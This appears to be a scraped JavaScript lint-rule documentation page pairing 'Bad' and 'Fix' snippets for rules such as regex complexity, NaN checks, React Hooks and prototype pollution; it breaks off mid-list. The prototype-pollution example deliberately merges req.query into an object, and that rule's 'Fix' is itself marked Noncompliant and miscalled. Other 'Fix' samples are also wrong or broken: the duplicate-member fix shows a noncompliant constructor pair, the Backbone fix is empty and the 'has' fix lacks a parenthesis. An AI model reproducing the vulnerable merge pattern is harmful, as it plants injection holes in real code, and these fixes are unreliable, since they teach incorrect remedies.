> ## Documentation Index
> Fetch the complete documentation index at: https://docs.codeant.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# Javascript

<AccordionGroup>
  <Accordion title="Default export names and file names should match">
    <div class="paragraph">
      <p>By convention, a file that exports only one class, function, or constant should be named for that class, function or constant. Anything else may confuse maintainers.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      // file path: myclass.js  -- Noncompliant
      class MyClass {
      // ...
      }
      export default MyClass;
      ```

      ```javascript Fix theme={null}
      // file path: MyClass.js
      class MyClass {
      // ...
      }
      export default MyClass;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions should not be too complicated">
    <div class="paragraph">
      <p>A complex regular expression is one that exhibits several or all of the following characteristics. It can be quite lengthy, containing multiple nested or repeated groups, numerous alternations, extensive use of backreferences and escape characters, lookaheads, lookbehinds, and other advanced features. Additionally, complex regular expressions may lack proper comments and documentation, making them challenging to comprehend and maintain. Overly complicated regular expressions are hard to read and maintain and can easily cause hard-to-find bugs.</p>
    </div>

    <div class="paragraph">
      <p>To determine the complexity of a regular expression, each of the following operators increases the complexity by an amount equal to the current nesting level and also increases the current nesting level by one for its arguments:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Disjunction">Disjunctions (\`|)</a>: when multiple | operators are used together, the subsequent ones only increase the complexity by 1</p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions/Quantifiers">Quantifiers</a> (\*, +, ?, \{n,m}, \{n,} or \{n})</p>
        </li>

        <li>
          <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Lookahead_assertion">Lookahead</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Lookbehind_assertion">lookbehind</a> assertions</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Additionally, each use of a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions/Character_classes">character class</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions/Groups_and_backreferences">backreferences</a> increase the complexity by 1 regardless of nesting.</p>
    </div>

    <div class="paragraph">
      <p>This rule will raise an issue when total complexity is above the threshold maxComplexity\` (20 by default).</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const datePattern = /^(?:(?:31(\/|-|\.)(?:0?[13578]|1[02]))\1|(?:(?:29|30)(\/|-|\.)(?:0?[13-9]|1[0-2])\2))(?:(?:1[6-9]|[2-9]\d)?\d{2})$|^(?:29(\/|-|\.)0?2\3(?:(?:(?:1[6-9]|[2-9]\d)?(?:0[48]|[2468][048]|[13579][26])|(?:(?:16|[2468][048]|[3579][26])00))))$|^(?:0?[1-9]|1\d|2[0-8])(\/|-|\.)(?:(?:0?[1-9])|(?:1[0-2]))\4(?:(?:1[6-9]|[2-9]\d)?\d{2})$/; //Noncompliant: move some validation logic to regular code
      if (dateString.match(datePattern)) {
      handleDate(dateString);
      }
      ```

      ```javascript Fix theme={null}
      const datePattern = /^\d{1,2}([-/.])\d{1,2}\1\d{1,4}$/;
      if (dateString.match(datePattern)) {
      const dateParts = dateString.split(/[-/.]/);
      const day = parseInt(dateParts[0]);
      const month = parseInt(dateParts[1]);
      const year = parseInt(dateParts[2]);
      // Put logic to validate and process the date based on its integer parts here
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Jump statements should not be redundant">
    <div class="paragraph">
      <p>Jump statements, such as <code>return, break and continue</code>, are used to change the normal flow of execution in a program. They are useful because they allow for more complex and flexible code. However, it is important to use jump statements judiciously, as overuse or misuse can make code difficult to read and maintain.</p>
    </div>

    <div class="paragraph">
      <p>Jump statements are redundant when they do not affect the program flow or behavior.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function redundantJump(x) {
      if (x == 1) {
      console.log("x == 1");
      return; // Noncompliant: The function would return 'undefined' also without this 'return' statement
      }
      }
      ```

      ```javascript Fix theme={null}
      function redundantJump(x) {
      if (x == 1) {
      console.log("x == 1");
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Primitive return types should be used">
    <div class="paragraph">
      <p>The return type <code>any should be avoided because it prevents the type safety checks normally done by the compiler. When a function returns a primitive type (i.e. number, string or boolean) it is safe to replace any with number, string or boolean</code> type respectively, or remove the return type completely and let compiler infer it.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() : any { // Noncompliant
      return 1;
      }
      ```

      ```javascript Fix theme={null}
      function foo() {
      return 1;
      }
      // or
      function foo(): number {
      return 1;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The return value of ReactDOM.render should not be used">
    <div class="paragraph">
      <p>In React, the ReactDOM.render() method is used to render a React component into a DOM element. It has a return value, but it’s generally recommended not to use it. The method might return a reference to the root ReactComponent instance, but it can be unpredictable and may not always be useful. Indeed, the return value can vary depending on the version of React you’re using and the specific circumstances in which it’s called.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const instance = ReactDOM.render(<App />, document.body); // Noncompliant: using the return value of 'ReactDOM.render'
      doSomething(instance);
      ```

      ```javascript Fix theme={null}
      ReactDOM.render(<App />, document.body);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Number.isNaN() should be used to check for NaN value">
    <div class="paragraph">
      <p>Comparing the value to itself may be either a refactoring error or an outdated way of checking if the value is of a numeric data type but not a valid number. This special numeric value is represented by NaN global property, where NaN stands for "Not-a-Number". NaN is returned as a result when an arithmetic operation or mathematical function is performed, and the result is undefined or unrepresentable as a valid number.</p>
    </div>

    <div class="paragraph">
      <p>Detecting whether a value is NaN in JavaScript was previously problematic because of the way NaN behaves in comparison operations. NaN is not equal to any value, including itself, so comparing the value to NaN will always return false. In other words, if a value is not equal to itself, it can only be NaN.</p>
    </div>

    <div class="paragraph">
      <p>This method of detecting NaN can be confusing and should be avoided. ES6 introduced a special function Number.isNaN() which only returns true if the argument is NaN value. For clarity and consistency this function should be used to detect NaN instead of all other methods.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (value !== value){ // Noncompliant: use Number.isNaN()
      processNaN(value); 
      }
      ```

      ```javascript Fix theme={null}
      if (Number.isNaN(value)){
      processNaN(value); 
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Objects should not be vulnerable to Prototype Pollution attacks">
    <div class="paragraph">
      <p>Prototype Pollution vulnerabilities allow to inject new properties into the built-in <code>Object.prototype</code> object. Since most objects inherit from this prototype, it can result in unexpected behavior, e.g., crashes or more severe vulnerabilities.</p>
    </div>

    <div class="paragraph">
      <p>In the past, it has led to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10744">CVE-2019-10744</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358">CVE-2019-11358</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function for_in_merge(dst, src) {
      for (let key in src) {
          if (dst[key]) {
              for_in_merge(dst[key], src[key]);
          } else {
              dst[key] = src[key];
          }
      }
      }

      let obj1 = {};
      for_in_merge(obj1, req.query.obj2); // Noncompliant
      ```

      ```javascript Fix theme={null}
      function for_set(target, path, value) {
      let keys = path.split('.');
      for (let i = 0; i < keys.length; ++i) {
          let key = keys[i];
          if (i < keys.length - 1) {
              if (!target[key]) {
                  target[key] = {};
              }
              target = target[key];
          } else {
              target[key] = value;
          }
      }
      }

      for_set(req.query.path, req.query.val); // Noncompliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Empty character classes should not be used">
    <div class="paragraph">
      <p>Character classes in regular expressions will match any of the characters enclosed in the square brackets (\[abc] will match a, b or c).</p>
    </div>

    <div class="paragraph">
      <p>You can specify a range of characters using a hyphen (-). If the hyphen appears as the first or last character, it will be matched as a literal hyphen.</p>
    </div>

    <div class="paragraph">
      <p>An empty character class (\[]) will not match any character because the set of matching characters is empty. So the regular expression will not work as you intended.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /^foo[]/.test(str); // Noncompliant: always returns "false"
      ```

      ```javascript Fix theme={null}
      /^foo/.test(str);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="find should be used to select the children of an element known by id">
    <div class="paragraph">
      <p>The use of \`find allows document.getElementById() to be used for the top-level selection, and saves the jQuery Sizzle engine for where it’s really needed. That makes the query faster, and your application more responsive.</p>
    </div>

    <div class="paragraph">
      <p>From the jQuery documentation:</p>
    </div>

    <div class="quoteblock">
      <blockquote>
        <div class="paragraph">
          <p>Beginning your selector with an ID is always best.</p>
        </div>

        <div class="paragraph">
          <p>The .find() approach is faster because the first selection is handled without going through the Sizzle selector engine – ID-only selections are handled using document.getElementById()\`, which is extremely fast because it is native to the browser.</p>
        </div>
      </blockquote>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var $productIds = $("#products div.id"); // Noncompliant - a nested query for Sizzle selector engine
      ```

      ```javascript Fix theme={null}
      var $productIds = $("#products").find("div.id"); // Compliant - #products is already selected by document.getElementById() so only div.id needs to go through Sizzle selector engine
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Member names should not be duplicated within a class or object literal">
    <div class="paragraph">
      <p>JavaScript allows duplicate property names in classes and object literals. The last occurrence will overwrite previous definitions. Therefore, having more than one occurrence will have no effect and may cause misunderstandings and bugs.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let data = {
      "key": "value",
      "1": "value",
      "key": "value", // Noncompliant - duplicate of "key"
      'key': "value", // Noncompliant - duplicate of "key"
      key: "value", // Noncompliant - duplicate of "key"
      \u006bey: "value", // Noncompliant - duplicate of "key"
      "\u006bey": "value", // Noncompliant - duplicate of "key"
      "\x6bey": "value", // Noncompliant - duplicate of "key"
      1: "value" // Noncompliant - duplicate of "1"
      }

      class Foo {
      bar() { }
      bar() { }  // Noncompliant - duplicate of "bar"
      }
      ```

      ```javascript Fix theme={null}
      class Class {
      constructor() {
      }
      constructor(value) { // Noncompliant: A class may only have one constructor
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="super() should be invoked appropriately">
    <div class="paragraph">
      <p>In JavaScript, the super keyword is used to call the constructor and methods of an object’s parent class, and to access its properties.</p>
    </div>

    <div class="paragraph">
      <p>The expression <code>super(...args)</code> is used to call the parent’s constructor. It must be used carefully and correctly to avoid errors.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Dog extends Animal {
      constructor(name) {
      super();
      this.name = name;
      super(); // Noncompliant: constructor is called twice.
      super.doSomething();
      }
      }
      ```

      ```javascript Fix theme={null}
      class Dog extends Animal {
      constructor(name) {
      super();
      this.name = name;
      super.doSomething();
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Arrays should not be passed as rest arguments">
    <div class="paragraph">
      <p>Functions that accept random numbers of arguments use a rest argument (`... argname). This allows you to pass the function each relevant parameter individually. At runtime, those parameters are automatically wrapped in an array. If you pass an array to such a function, it will automatically be re-wrapped in another array, and this double-layering won&#8217;t be expected by the called function. To avoid that double-layering, use the spread operator (...`arrayToBeExpanded) in the call to expand the array.</p>
    </div>

    <div class="paragraph">
      <p>This applies both to manually created arrays, and to arguments that were accepted as rest parameters.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      collect(new Book(), new Book());

      function collect(...books: Book[]) {
      buy(books);   // Noncompliant
      }

      function buy(...things: any[]) {
      console.log(things); // outputs "[ [ Book {}, Book {} ] ]"
      }
      ```

      ```javascript Fix theme={null}
      collect(new Book(), new Book());

      function collect(...books: Book[]) {
      buy(...books);
      }

      function buy(...things: any[]) {
      console.log(things); // outputs "[ Book {}, Book {} ]"
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="angular functions should be spelled correctly">
    <div class="paragraph">
      <p>Proper use of the \`angular object is crucial when using the AngularJS framework. Misspell an angular function, and depending on the browser you may not get any errors at all, or the error you do get will be distinctly unhelpful.</p>
    </div>

    <div class="paragraph">
      <p>This rule is intended to catch misspellings of the recognized angular functions. It checks that only the following functions are used:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>directive</p>
        </li>

        <li>
          <p>module</p>
        </li>

        <li>
          <p>controller</p>
        </li>

        <li>
          <p>provider</p>
        </li>

        <li>
          <p>filter\`</p>
        </li>
      </ul>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      angular.moudle('docsSimpleDirectiveLD', []);  // Noncompliant
      ```

      ```javascript Fix theme={null}
      angular.module('docsSimpleDirectiveLD', []);  // Compliant
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Array.prototype.sort() and Array.prototype.toSorted() should use a compare function">
    <div class="paragraph">
      <p>JavaScript provides built-in methods to sort arrays, making it convenient for developers to manipulate data. There are two primary ways to sort an array:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>\`Array.prototype.sort(): This method sorts the elements of an array in place and returns the sorted array.</p>
        </li>

        <li>
          <p>Array.prototype.toSorted()\`: This method is designed to return a new sorted array, leaving the original array unchanged.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>The default sort order is lexicographic (dictionary) order, based on the string representation of the elements. This means that when sorting an array of strings, numbers, or other elements, they are converted to strings and sorted according to their Unicode code points (UTF-16). For most cases, this default behavior is suitable when sorting an array of strings.</p>
    </div>

    <div class="paragraph">
      <p>However, it’s essential to be aware of potential pitfalls when sorting arrays of non-string elements, particularly numbers. The lexicographic order may not always produce the expected results for numbers:</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const numbers = [10, 2, 30, 1, 5];
      numbers.sort(); // Noncompliant: lexicographic sort
      console.log(numbers); // Output: [1, 10, 2, 30, 5]
      ```

      ```javascript Fix theme={null}
      const numbers = [10, 2, 30, 1, 5];
      numbers.sort((a, b) => a - b);
      console.log(numbers); // Output: [1, 2, 5, 10, 30]
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Octal escape sequences should not be used">
    <div class="paragraph">
      <p>Octal escape sequences in string literals have been deprecated since ECMAScript 5 and should not be used in modern JavaScript code.</p>
    </div>

    <div class="paragraph">
      <p>Many developers may not have experience with this format and may confuse it with the decimal notation.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let message = "Copyright \251"; // Noncompliant
      ```

      ```javascript Fix theme={null}
      let message1 = "Copyright \u00A9";  // unicode
      let message2 = "Copyright \xA9";    // hexadecimal
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Spread syntax should be used instead of apply()">
    <div class="paragraph">
      <p>The spread operator is a more concise and more readable way to pass arguments to a function that takes a variable number of arguments (variadic function). Prior to ES2015, the only way to call such functions with a variable number of arguments was to use the .apply() method.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      foo.apply(undefined, args); // Noncompliant: use spread syntax instead of .apply()
      foo.apply(null, args); // Noncompliant: use spread syntax instead of .apply()
      obj.foo.apply(obj, args); // Noncompliant: use spread syntax instead of .apply()
      ```

      ```javascript Fix theme={null}
      foo( ...args);
      foo( ...args);
      obj.foo( ...args);
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The changed property should not be manipulated directly">
    <div class="paragraph">
      <p>According to the Backbone.js docs</p>
    </div>

    <div class="quoteblock">
      <blockquote>
        <div class="paragraph">
          <p>The <strong>changed</strong> property is the internal hash containing all the attributes that have changed since the last set. Please do not update <strong>changed</strong> directly since its state is internally maintained by set. A copy of <strong>changed</strong> can be acquired from changedAttributes.</p>
        </div>
      </blockquote>
    </div>

    <div class="paragraph">
      <p>The <code>changed</code> property is involved in decisions about whether or not a collection should be resorted when it is updated. If you modify it manually, you can break the resorting of the collection.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      myModel.changed = { myProperty: 1 }; // Non-compliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Soft comparisons should be used for null testing">
    <div class="paragraph">
      <p>\`null and undefined are similar but not synonymous concepts in Javascript. Use a "hard" test (=== or !==) for one, and you’ll miss the other. Soft tests (==, and !=) on the other hand, will pick up both non-values, as well as empty string.</p>
    </div>

    <div class="paragraph">
      <p>Even if you mean to make the distinction in your code between null and undefined\`, doing so is an extremely questionable practice that is likely to confuse both users and maintainers. Instead, use one or the other and test for both using soft tests.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function func1(p1, p2) {

      if (p1 === null) {  // Noncompliant 
      return;
      }
      if (p1 === undefined) { // Noncompliant
      return;
      }
      // ...
      }
      ```

      ```javascript Fix theme={null}
      function func1(p1, p2) {

      if (p1 == null) {  // true for null, undefined
      return;
      }
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Special identifiers should not be bound or assigned">
    <div class="paragraph">
      <p>JavaScript has special identifiers that, while not reserved, still should not be used as identifiers. They form the JavaScript standard built-in objects and global properties. They are available in all environments. Some examples are:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Global objects: Object, Function, Error, …​</p>
        </li>

        <li>
          <p>Global object function properties: eval(), isNan(), parseFloat(), decodeURI(), …​</p>
        </li>

        <li>
          <p>Global object value properties: undefined, NaN, Infinity</p>
        </li>

        <li>
          <p>Identifiers with special meanings: arguments</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>These words should not be bound or assigned, because doing so would overwrite the original definitions of these identifiers. What’s more, assigning or binding some of these names will generate an error in JavaScript strict mode code.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      eval = 17; // Noncompliant
      arguments++; // Noncompliant
      ++eval; // Noncompliant
      const obj = { set p(arguments) { } }; // Noncompliant
      let eval; // Noncompliant
      try { /* ... */ } catch (arguments) { } // Noncompliant
      function x(eval) { /* ... */ } // Noncompliant
      function arguments() { /* ... */ } // Noncompliant
      const y = function eval() { /* ... */ }; // Noncompliant

      function fun() {
      if (arguments.length == 0) { // Compliant
      // do something
      }
      }
      ```

      ```javascript Fix theme={null}
      result = 17;
      args++;
      ++result;
      const obj = { set p(arg) { } };
      let result;
      try { /* ... */ } catch (args) { }
      function x(arg) { /* ... */ }
      function args() { /* ... */ }
      const y = function fun() { /* ... */ };

      function fun() {
      if (arguments.length == 0) {
      // do something
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-null assertions should not be used">
    <div class="paragraph">
      <p>The point of declaring an optional property or parameter is to make explicit the fact that it might contain no valid value, i.e. <code>null or undefined. Using a non-null assertion (the !. operator) will lead to a runtime error if the optional does contain null or undefined</code>. Even if the value is tested first, it’s still considered a bad practice to use a non-null assertion.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function doTheThing(foo?: Foo) {
      let s = foo!.bar;  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      function doTheThing(foo?: Foo) {
      if (foo) {
      let s = foo.bar;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Shorthand object properties should be grouped at the beginning or end of an object declaration">
    <div class="paragraph">
      <p>Grouping all the shorthand declarations together in an object makes the declaration as a whole more readable. This rule accepts shorthand declarations grouped at either the beginning or end of an object.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let obj1 = {
      foo,
      a: 1,
      color,  // Noncompliant
      b: 2,
      judyGarland  // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      let obj1 = {
      foo,
      color,
      judyGarland,
      a: 1,
      b: 2
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Strings and non-strings should not be added">
    <div class="paragraph">
      <p>Use a \`+ with two numbers and you’ll get addition. But use it with a string and anything else, and you’ll get concatenation. This could be confusing, especially if it’s not obvious that one of the operands is a string. It is recommended to explicitly convert the non-string component to make it easier to understand to future maintainers.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when  or =\` is used with a string and a non-string.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() {
      let x = 5 + 8;  // okay
      let z = "8"
      return x + z;  // Noncompliant; yields string "138"
      }
      ```

      ```javascript Fix theme={null}
      function foo() {
      let x = 5 + 8;
      let z = "8"
      return x + Number(z);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Type constituents of unions and intersections should not be redundant">
    <div class="paragraph">
      <p>When defining a union or intersection in TypeScript, it is possible to mistakenly include type constituents that encompass other constituents, that don’t have any effect, or that are more restrictive. For instance,</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The type something in any | something is redundant because any covers all possible types, whatever something is.</p>
        </li>

        <li>
          <p>The types never in unions like never | something or unknown in intersections like unknown & something are effectless.</p>
        </li>

        <li>
          <p>More restrictive types in intersections like the literal type 1 in 1 & number reduce the set of possible values to specific ones.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Eliminating redundant types from a union or intersection type simplifies the code and enhances its readability. Moreover, it provides a clearer representation of the actual values that a variable can hold.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      type UnionWithAny = any | 'redundant'; // Noncompliant
      type UnionWithNever = never | 'override'; // Noncompliant
      type UnionWithLiteral = number | 1; // Noncompliant

      type IntersectionWithAny = any & 'redundant'; // Noncompliant
      type IntersectionWithUnknown = string & unknown; // Noncompliant
      type IntersectionWithLiteral = string & 'override'; // Noncompliant
      ```

      ```javascript Fix theme={null}
      type UnionWithAny = any;
      type UnionWithNever = never;
      type UnionWithLiteral = number;

      type IntersectionWithAny = any;
      type IntersectionWithUnknown = string;
      type IntersectionWithLiteral = 'override';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="for of should not be used with non-iterables">
    <div class="paragraph">
      <p>The <code>for of statement can only iterate over objects that have an iterator</code> property.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let obj = {};
      for(let element of obj) {   // Noncompliant
      ...
      }
      ```

      ```javascript Fix theme={null}
      let array = [];
      for(let element of array) {
      ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="has should be used to check attribute existence">
    <div class="paragraph">
      <p>When using Backbone.js, the use of <code>has to check attribute existence is clearer and more readable than the use of get</code>, and is therefore preferred.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if (myModel.get('myProperty')) { ... }
      ```

      ```javascript Fix theme={null}
      if (myModel.has('myProperty') { ... }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should be declared with let or const">
    <div class="paragraph">
      <p>Variables declared with \`var are function-scoped, meaning they are accessible within the entire function in which they are defined. If a variable is declared using var outside of any function, it becomes a global variable and is accessible throughout the entire JavaScript program.</p>
    </div>

    <div class="paragraph">
      <p>let and const were introduced in ECMAScript 6 (ES6) as a block-scoped alternative to var. Variables declared with  let have block scope, meaning they are limited to the block of code in which they are defined. A block is typically delimited by curly braces \{}.</p>
    </div>

    <div class="paragraph">
      <p>Variables declared with const are also block-scoped, similar to  let. However, const variables are immutable, meaning their value cannot be changed after assignment. This applies to the binding between the variable name and its value, but it does not mean the value itself is immutable if it is an object or an array.</p>
    </div>

    <div class="paragraph">
      <p>A variable declared with let or const is said to be in a "temporal dead zone", meaning the period between entering a scope and declaring a let or const variable. During this phase, accessing the variable results in a ReferenceError. This helps catch potential errors and encourages proper variable declaration.</p>
    </div>

    <div class="paragraph">
      <p>Unlike let and const, variables declared with var are subject to "hoisting", which means that they are moved to the top of their scope during the compilation phase, even if the actual declaration is placed lower in the code.</p>
    </div>

    <div class="paragraph">
      <p>Hoisting can sometimes lead to unexpected behavior. For example, variables declared with var are accessible before they are declared, although they will have the value undefined until the declaration is reached.</p>
    </div>

    <div class="paragraph">
      <p>The distinction between the variable types created by var and by let is significant, and a switch to let will help alleviate many of the variable scope issues which have caused confusion in the past.</p>
    </div>

    <div class="paragraph">
      <p>Because these new keywords create more precise variable types, they are preferred in environments that support ECMAScript 2015. However, some refactoring may be required by the switch from var to let, and you should be aware that they raise SyntaxErrors in pre-ECMAScript 2015 environments.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when var is used instead of const or let\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var color = "blue"; // Noncompliant
      var size = 4;       // Noncompliant
      ```

      ```javascript Fix theme={null}
      const color = "blue";
      let size = 4;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="NaN should not be used in comparisons">
    <div class="paragraph">
      <p>In JavaScript, NaN stands for "Not-a-Number." It is a special value representing a numeric data type that is not a valid number. NaN is returned as a result when an arithmetic operation or mathematical function is performed, and the result is undefined or unrepresentable as a valid number.</p>
    </div>

    <div class="paragraph">
      <p>Comparing a value with NaN in JavaScript can be problematic because of the way NaN behaves in comparison operations. The reason is that NaN is not equal to any value, including itself, and this behavior can lead to unexpected results.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const a = NaN;

      if (a === NaN) { // Noncompliant: Always false
      console.log("a is not a number"); // This is dead code
      }

      if (a !== NaN) { // Noncompliant: Always true
      console.log("a is not NaN"); // This statement is not necessarily true
      }
      ```

      ```javascript Fix theme={null}
      const a = NaN;

      if (isNaN(a)) {
      console.log("a is not a number");
      }

      if (!isNaN(a)) {
      console.log("a is not NaN");
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React Hooks should be properly called">
    <div class="paragraph">
      <p>React relies on the order in which Hooks are called to correctly preserve the state of Hooks between multiple useState and useEffect calls. This means React Hooks should be called in the same order each time a component renders and should not be called inside loops, conditions, or nested functions.</p>
    </div>

    <div class="paragraph">
      <p>Additionally, this rule ensures that the Hooks are called only from React function components or custom Hooks.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function Profile() {
      const [ordersCount, setOrdersCount] = useState(0);
      if (ordersCount !== 0) {
      useEffect(function() { // Noncompliant: Hook is called conditionally
        localStorage.setItem('ordersData', ordersCount);
      });
      }

      return <div>{ getName() }</div>
      }

      function getName() {
      const [name] = useState('John'); // Noncompliant: Hook is called from a JavaScript function, not a React component
      return name;
      }
      ```

      ```javascript Fix theme={null}
      function Profile() {
      const [ordersCount, setOrdersCount] = useState(0);
      useEffect(function() {
      if (ordersCount !== 0) {
        localStorage.setItem('ordersData', ordersCount);
      }
      });

      const [name] = useState('John');
      return <div>{ name }</div>
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="typeof expressions should only be compared to valid values">
    <div class="paragraph">
      <p>The \`typeof operator returns a string indicating the type of its argument, and the set of returned values is limited:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>"undefined"</p>
        </li>

        <li>
          <p>"boolean"</p>
        </li>

        <li>
          <p>"number"</p>
        </li>

        <li>
          <p>"string"</p>
        </li>

        <li>
          <p>"symbol" (since ECMAScript 2015)</p>
        </li>

        <li>
          <p>"function"</p>
        </li>

        <li>
          <p>"object" (for null and any other object)</p>
        </li>

        <li>
          <p>"bigint" (since ECMAScript 2020)</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Compare a typeof expression to anything else, and the result will always be false\`.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function isNumber(x) {
      return typeof x === "Number"; // Noncompliant: the function always returns 'false'
      }
      ```

      ```javascript Fix theme={null}
      function isNumber(x) {
      return typeof x === "number";
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Debugger statements should not be used">
    <div class="paragraph">
      <p>The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      for (i = 1; i<5; i++) {
      // Print i to the Output window.
      Debug.write("loop index is " + i);
      // Wait for user to resume.
      debugger;
      }
      ```

      ```javascript Fix theme={null}
      for (i = 1; i<5; i++) {
      // Print i to the Output window.
      Debug.write("loop index is " + i);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="JSX elements should not use unknown properties and attributes">
    <div class="paragraph">
      <p>React components often render HTML elements, and developers can pass various props (properties) to these elements. However, React has its own set of supported properties and attributes, and it’s essential to avoid using unknown or invalid properties when working with such elements to prevent unexpected behavior at runtime.</p>
    </div>

    <div class="paragraph">
      <p>The rule reports any instances where you are using a property or attribute that is not recognized by React or the HTML element you are rendering.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Welcome extends React.Component {
      render() {
      return <div class="hello">Hello, World!</div>; // Noncompliant: 'class' is a reserved keyword in JavaScript
      }
      }
      ```

      ```javascript Fix theme={null}
      class Welcome extends React.Component {
      render() {
      return <div className="hello">Hello, World!</div>;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="ReactJS class methods and fields should be ordered correctly">
    <div class="paragraph">
      <p>The following order represents what is commonly expected by ReactJS developers.</p>
    </div>

    <div class="paragraph">
      <p>Not following this convention has no technical impact, but will reduce the class’s readability because most developers are used to this standard order.</p>
    </div>

    <div class="olist arabic">
      <ol class="arabic">
        <li>
          <p>\`static methods</p>
        </li>

        <li>
          <p>the constructor</p>
        </li>

        <li>
          <p>getChildContext()</p>
        </li>

        <li>
